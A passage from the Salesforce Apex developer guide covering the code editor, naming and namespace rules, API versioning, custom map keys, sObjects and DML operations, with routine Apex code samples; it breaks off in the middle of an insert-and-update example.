The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
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• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
(
) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
IN THIS SECTION:
1. Naming Conventions
2. Name Shadowing
Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
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to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations.
After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom
object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is
marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the
namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified.
Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those
objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from the AppExchange.
Using Namespaces When Invoking Package Methods
To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)
IN THIS SECTION:
1. Using the System Namespace
2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
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4. Type Resolution and System Namespace for Types
Using the System Namespace
The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('https://yourInstance.salesforce.com/');
And:
URL url1 = new URL('https://yourInstance.salesforce.com/');
Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();
Or:
URL.getCurrentRequestUrl();
Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.
Using the System Namespace for Disambiguation
It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Let’s take a look at the following example.
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';
}
}
Execute this statement in the Developer Console:
sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
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to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
SEE ALSO:
Using the Schema Namespace
Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();
And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();
Using the Schema Namespace for Disambiguation
Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}
// ...
Schema.Account myAccountSObject = new Schema.Account();
Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;
SEE ALSO:
Using the System Namespace
Namespace, Class, and Variable Name Precedence
Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
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2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
• If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
• If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
Then the following expressions are all legal:
c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()
Type Resolution and System Namespace for Types
Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
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For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).
Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.
Versioning of Apex Classes and Methods
When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 356.
IN THIS SECTION:
1. Setting the Salesforce API Version for Classes and Triggers
2. Setting Package Versions for Apex Classes and Triggers
Setting the Salesforce API Version for Classes and Triggers
To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a
method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
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{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea
Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}
The following class is saved using Salesforce API version 16.0:
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}
Setting Package Versions for Apex Classes and Triggers
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
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• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.
Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.
Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values. If you add them as keys, there are some special rules that
your class must implement for the map to function correctly; that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.
Adding equals and hashCode Methods to Your Class
To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:
• The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}
Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class,
the equals method must be:
– Reflexive: x.equals(x)
– Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
– Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
– Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
– For any non-null reference value x, x.equals(null) should return false
The equals method in Apex is based on the equals method in Java.
• The hashCode method with this signature:
public Integer hashCode() {
// Your implementation
}
Keep in mind the following when implementing the hashCode method.
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– If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return
the same value.
– If two objects are equal, based on the equals method, hashCode must return the same value.
– If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the
== operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}
Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {
x=a;
y=b;
}
public Boolean equals(Object obj) {
if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {
return (31 * x) ^ y;
}
}
This code snippet makes use of the PairNumbers class.
Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
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PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator
if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List<String> mValues = m.values();
System.debug('m.values: ' + mValues);
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);
// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());
Working with Data in Apex
You can add and interact with data in the Force.com platform persistence layer. The sObject data type is the main data type that holds
data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such as the (),
among other things.
IN THIS SECTION:
Working with sObjects
In this developer guide, the term sObject refers to any object that can be stored in the Force.com platform database.
Data Manipulation Language
Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time
or in batches.
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SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in
Apex by surrounding the statement in square brackets.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query.
sObject Collections
You can manage sObjects in lists, sets, and maps.
Dynamic Apex
Apex Security and Sharing
When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing
rules. Read on to learn about Apex managed sharing and get some security tips.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
SEE ALSO:
Apex DML Operations
Working with sObjects
In this developer guide, the term sObject refers to any object that can be stored in the Force.com platform database.
IN THIS SECTION:
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object.
Accessing sObject Fields
Validating sObjects and Fields
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object.
For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be
used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();
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You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in the Force.com
SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone
operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is
initially inserted to the database for the first time. For more information see Lists on page 30.
Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;
For more information on custom labels, see “Custom Labels” in the Salesforce online help.
Accessing sObject Fields
As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme';
// Access the account name field and assign it 'Acme'
System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic sObject
put and get methods. See sObject Class.
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This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts;
List<Lead> leads;
List<Account> accounts;
public void convertType(Integer phoneNumber) {
List<List<sObject>> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List<sObject>)results[0]);
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
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}
}
Validating sObjects and Fields
When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
• Changing a field or object name
• Converting from one data type to another
• Deleting a field or object
• Making certain organization-wide changes, such as record sharing, field history tracking, or record types
Data Manipulation Language
Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time or
in batches.
IN THIS SECTION:
How DML Works
Adding and Retrieving Data With DML
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database
is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records),
DML is used for write operations.
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how
you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your
code.
DML Operations As Atomic Transactions
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.
Exception Handling
More About DML
Here are some things you may want to know about using Data Manipulation Language.
Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user
interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked
records won’t be changed by another client during the lock period.
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How DML Works
Single vs. Bulk DML Operations
You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the
recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This
limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of
sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject.
This example performs DML calls on single sObjects, which is not efficient.
The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches
a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught for exceeding
the DML statement limit of 150.
for(Contact badCon : conList) {
if (badCon.Department == 'Finance') {
badCon.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}
This example is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling
update on a list of contacts. This code counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
for(Contact con : conList) {
if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;
The other governor limit that affects DML operations is the total number of rows that can be processed by DML operations in a single
transaction, which is 10,000. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For
example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still
have 9,850 rows left (10,000 - 150).
System Context and Sharing Rules
Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforcing Sharing Rules.
Note: If you execute DML operations within an anonymous block, they execute using the current user’s object and field-level
permissions.
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Adding and Retrieving Data With DML
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records), DML is used
for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');
In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;
Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.
update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);
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DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you
perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.
This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
insert acctList;
This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
• Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
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form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.
Note: Most operations overlap between the two, except for a few.
• The convertLead operation is only available as a Database class method, not as a DML statement.
• The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.
DML Operations As Atomic Transactions
DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in
one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a
trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that
performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.
IN THIS SECTION:
Inserting and Updating Records
Upserting Records
Merging Records
Deleting Records
Restoring Deleted Records
Converting Leads
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects
and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. Next, it queries
the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
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insert accts;
// Update account Acme2.
accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.
Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
